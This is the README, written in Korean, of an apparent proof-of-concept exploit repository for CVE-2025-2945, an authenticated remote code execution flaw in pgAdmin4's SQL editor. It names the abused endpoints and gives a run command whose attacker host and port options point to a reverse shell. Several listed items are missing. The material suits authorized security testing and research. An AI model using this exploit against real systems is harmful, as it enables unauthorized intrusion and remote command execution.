udayveer17/cve-2025-2945-pgadmin4-authenticated-rce-poc-Proof-of-concept 익스플로잇으로, SQL Editor 남용을 통해 pgAdmin4(CVE-2025-2945)에서 인증된 원격 코드 실행을 수행합니다. 승인된 보안 테스트 및 교육용으로 설계되었습니다.
이 저장소는 pgAdmin4의 특정 버전에 영향을 미치는 취약점 CVE-2025-2945와 관련된 보안 연구 및 승인된 침투 테스트를 위해 작성된 개념 증명(PoC) 스크립트를 포함합니다.
이 문제는 SQL 편집기에 접근 권한이 있는 인증된 pgAdmin 사용자가 Query Tool 패널 초기화 흐름을 악용하여 원격 코드 실행을 트리거할 수 있게 합니다. 이 PoC는 교육, 감사 및 방어 목적으로만 취약점을 시연합니다.
이 도구는 오직 다음을 위해 제작되었습니다:
명시적 허가 없이 어떤 시스템에서도 이 도구를 사용하지 마십시오. 무단 사용은 불법이며 비윤리적입니다. 저자는 오용에 대해 책임지지 않습니다.
이 취약점은 SQL 편집기 초기화 엔드포인트의 논리적 결함에서 비롯됩니다. /sqleditor/initialize/ 및 /sqleditor/panel/과 상호작용할 때 애플리케이션이 사용자 제어 데이터를 잘못 처리하여, 궁극적으로 조작된 페이로드가 백엔드에서 임의의 명령을 실행할 수 있게 됩니다.
PoC는 다음 엔드포인트 시퀀스를 악용합니다:
requests 라이브러리python3 poc.py \
--target-url <pgadmin-url> \
--username <pgadmin-user> \
--password <pgadmin-pass> \
--db-user <db-username> \
--db-pass <db-password> \
--db-name <database> \
--Rhost <your-ip> \
--Rport <your-port>
(전체 예제는 스크립트의 도움말 섹션에 이미 제공되어 있습니다.)
poc.py → The exploit proof-of-concept
README.md → Project documentation
관리자는 다음을 수행해야 합니다:
저자: UdayVeer